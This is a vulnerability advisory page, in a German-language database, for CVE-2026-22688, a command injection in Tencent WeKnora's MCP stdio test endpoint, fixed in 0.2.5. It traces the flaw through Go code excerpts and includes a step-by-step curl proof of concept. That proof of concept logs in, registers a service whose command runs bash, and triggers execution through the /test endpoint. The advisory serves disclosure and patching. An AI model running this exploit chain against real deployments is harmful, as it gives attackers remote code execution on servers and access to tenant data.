NetSight
kritisch9.9

CVE-2026-22688

WeKnora has Command Injection in MCP stdio test

Auswirkung

### Vulnerability **Description** --- **Vulnerability Overview** This issue is a command injection vulnerability (CWE-78) that allows authenticated users to inject stdio_config.command/args into MCP stdio settings, causing the server to execute subprocesses using these injected values. The root causes are as follows: - **Missing Security Filtering**: When transport_type=stdio, there is no validation on stdio_config.command/args, such as allowlisting, enforcing fixed paths/binaries, or blocking dangerous options. - **Functional Flaw (Trust Boundary Violation)**: The command/args stored as "service configuration data" are directly used in the /test execution flow and connected to execution sinks without validation. - **Lack of Authorization Control**: This functionality effectively allows "process execution on the server" (an administrative operation), yet no administrator-only permission checks are implemented in the code (accessible with Bearer authentication only). **Vulnerable Code** 1. **API Route Registration** (path where endpoints are created) ****https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/router/router.go#L85-L110 https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/router/router.go#L371-L390 ```go // 认证中间件 r.Use(middleware.Auth(params.TenantService, params.UserService, params.Config)) // 添加OpenTelemetry追踪中间件 r.Use(middleware.TracingMiddleware()) // 需要认证的API路由 v1 := r.Group("/api/v1") { RegisterAuthRoutes(v1, params.AuthHandler) RegisterTenantRoutes(v1, params.TenantHandler) RegisterKnowledgeBaseRoutes(v1, params.KBHandler) RegisterKnowledgeTagRoutes(v1, params.TagHandler) RegisterKnowledgeRoutes(v1, params.KnowledgeHandler) RegisterFAQRoutes(v1, params.FAQHandler) RegisterChunkRoutes(v1, params.ChunkHandler) RegisterSessionRoutes(v1, params.SessionHandler) RegisterChatRoutes(v1, params.SessionHandler) RegisterMessageRoutes(v1, params.MessageHandler) RegisterModelRoutes(v1, params.ModelHandler) RegisterEvaluationRoutes(v1, params.EvaluationHandler) RegisterInitializationRoutes(v1, params.InitializationHandler) RegisterSystemRoutes(v1, params.SystemHandler) RegisterMCPServiceRoutes(v1, params.MCPServiceHandler) RegisterWebSearchRoutes(v1, params.WebSearchHandler) } ``` ```go func RegisterMCPServiceRoutes(r *gin.RouterGroup, handler *handler.MCPServiceHandler) { mcpServices := r.Group("/mcp-services") { // Create MCP service mcpServices.POST("", handler.CreateMCPService) // List MCP services mcpServices.GET("", handler.ListMCPServices) // Get MCP service by ID mcpServices.GET("/:id", handler.GetMCPService) // Update MCP service mcpServices.PUT("/:id", handler.UpdateMCPService) // Delete MCP service mcpServices.DELETE("/:id", handler.DeleteMCPService) // Test MCP service connection mcpServices.POST("/:id/test", handler.TestMCPService) // Get MCP service tools mcpServices.GET("/:id/tools", handler.GetMCPServiceTools) // Get MCP service resources mcpServices.GET("/:id/resources", handler.GetMCPServiceResources) } ``` 2. **User input (JSON) → types.MCPService binding** (POST /api/v1/mcp-services) ****https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/handler/mcp_service.go#L40-L55 ```go var service types.MCPService if err := c.ShouldBindJSON(&service); err != nil { logger.Error(ctx, "Failed to parse MCP service request", err) c.Error(errors.NewBadRequestError(err.Error())) return } tenantID := c.GetUint64(types.TenantIDContextKey.String()) if tenantID == 0 { logger.Error(ctx, "Tenant ID is empty") c.Error(errors.NewBadRequestError("Tenant ID cannot be empty")) return } service.TenantID = tenantID if err := h.mcpServiceService.CreateMCPService(ctx, &service); err != nil { ``` 3. **Taint propagation (storage)**: The bound service object is stored directly in the database without sanitization. ****https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/application/repository/mcp_service.go#L23-L25 ```go func (r *mcpServiceRepository) Create(ctx context.Context, service *types.MCPService) error { return r.db.WithContext(ctx).Create(service).Error } ``` 4. **Sink execution**: /test endpoint loads the service from the database → executes TestMCPService https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/handler/mcp_service.go#L323-L325 https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/application/service/mcp_service.go#L238-L264 ```go logger.Infof(ctx, "Testing MCP service: %s", secutils.SanitizeForLog(serviceID)) result, err := h.mcpServiceService.TestMCPService(ctx, tenantID, serviceID) ``` ```go service, err := s.mcpServiceRepo.GetByID(ctx, tenantID, id) if err != nil { return nil, fmt.Errorf("failed to get MCP service: %w", err) } if service == nil { return nil, fmt.Errorf("MCP service not found") } // Create temporary client for testing config := &mcp.ClientConfig{ Service: service, } client, err := mcp.NewMCPClient(config) if err != nil { return &types.MCPTestResult{ Success: false, Message: fmt.Sprintf("Failed to create client: %v", err), }, nil } // Connect testCtx, cancel := context.WithTimeout(ctx, 30*time.Second) defer cancel() if err := client.Connect(testCtx); err != nil { return &types.MCPTestResult{ ``` 5. **Ultimate sink (subprocess execution)**: The command/args values from stdio configuration are directly used in the subprocess execution path. ****https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/mcp/client.go#L120-L137 https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/mcp/client.go#L158-L160 ```go case types.MCPTransportStdio: if config.Service.StdioConfig == nil { return nil, fmt.Errorf("stdio_config is required for stdio transport") } // Convert env vars map to []string format (KEY=value) envVars := make([]string, 0, len(config.Service.EnvVars)) for key, value := range config.Service.EnvVars { envVars = append(envVars, fmt.Sprintf("%s=%s", key, value)) } // Create stdio client with options // NewStdioMCPClientWithOptions(command string, env []string, args []string, opts ...transport.StdioOption) mcpClient, err = client.NewStdioMCPClientWithOptions( config.Service.StdioConfig.Command, envVars, config.Service.StdioConfig.Args, ) ``` ```go if err := c.client.Start(ctx); err != nil { return fmt.Errorf("failed to start client: %w", err) } ``` ### PoC --- **PoC Description** - Obtain an authentication token. - Create an MCP service with transport_type=stdio, injecting the command to execute into stdio_config.command/args. - Call the /test endpoint to trigger the Connect() → Start() execution flow, confirming command execution on the server via side effects (e.g., file creation). **PoC** - **Container state verification (pre-exploitation)** ```bash docker exec -it WeKnora-app /bin/bash cd /tmp/; ls -l ``` <img width="798" height="78" alt="image" src="https://github.com/user-attachments/assets/3e387e39-cd80-4e30-ba23-3db9ff879209" /> - **Authenticate via /api/v1/auth/login to obtain a Bearer token for API calls.** ```bash API="http://localhost:8080" EMAIL="admin@gmail.com" PASS="admin123" TOKEN="$(curl -sS -X POST "$API/api/v1/auth/login" \ -H "Content-Type: application/json" \ -d "{\"email\":\"$EMAIL\",\"password\":\"$PASS\"}" | jq -r '.token // empty')" echo "TOKEN=$TOKEN" ``` <img width="760" height="73" alt="image" src="https://github.com/user-attachments/assets/4e588f20-9371-4dc3-b585-def2cd752497" /> <img width="1679" height="193" alt="image" src="https://github.com/user-attachments/assets/a372981c-dc4c-40e9-a9af-4d27fd36251a" /> - **POST to /api/v1/mcp-services with transport_type=stdio and stdio_config to define the command and arguments to be executed on the server.** ```bash CREATE_RES="$(curl -sS -X POST "$API/api/v1/mcp-services" \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "name":"rce", "description":"rce", "enabled":true, "transport_type":"stdio", "stdio_config":{"command":"bash","args":["-lc","id > /tmp/RCE_ok.txt && uname -a >> /tmp/RCE_ok.txt"]}, "env_vars":{} }')" MCP_ID="$(echo "$CREATE_RES" | jq -r '.data.id // empty')" echo "MCP_ID=$MCP_ID" ``` <img width="1296" height="354" alt="image" src="https://github.com/user-attachments/assets/d109dd4e-d051-46e3-bdcc-4d1a181d1635" /> - **Invoke /api/v1/mcp-services/{id}/test to trigger Connect(), causing execution of the stdio subprocess.** ```bash curl -sS -X POST "$API/api/v1/mcp-services/$MCP_ID/test" \ -H "Authorization: Bearer $TOKEN" | jq . ``` <img width="1270" height="217" alt="image" src="https://github.com/user-attachments/assets/2723ef39-f6b8-4478-b60e-5b6a4e667a1e" /> - **Post-exploitation verification (container state)** ```bash ls -l ``` <img width="1243" height="221" alt="image" src="https://github.com/user-attachments/assets/5f78f83a-64e2-4a0a-95c4-6832f606fbcd" /> ### Impact --- - **Remote Code Execution (RCE)**: Arbitrary command execution enables file creation/modification, execution of additional payloads, and service disruption - **Information Disclosure**: Sensitive data exfiltration through reading environment variables, configuration files, keys, tokens, and local files - **Privilege Escalation/Lateral Movement (Environment-Dependent)**: Impact may escalate based on container mounts, network policies, and internal service access permissions - **Cross-Tenant Boundary Impact**: Execution occurs in a shared backend runtime; depending on deployment configuration, impact may extend beyond tenant boundaries (**exact scope is uncertain** and varies by deployment setup)

Ein Angreifer kann die Lücke über das Netzwerk ausnutzen, mit einem normalen Benutzerkonto, ohne Zutun eines Nutzers. Bei Erfolg: hohes Risiko, dass Daten ausgelesen werden, hohes Risiko, dass Daten oder Systeme verändert werden, hohes Risiko für Ausfälle. Der Angriff kann über die verwundbare Komponente hinaus wirken.

Betroffene Pakete

ÖkosystemPaketBetroffenBehoben in
gogithub.com/Tencent/WeKnora< 0.2.50.2.5

Betroffene Produkte · Tencent

ProduktBetroffene Versionen
Weknora
vor 0.2.5

Schwachstellenklasse

Referenzen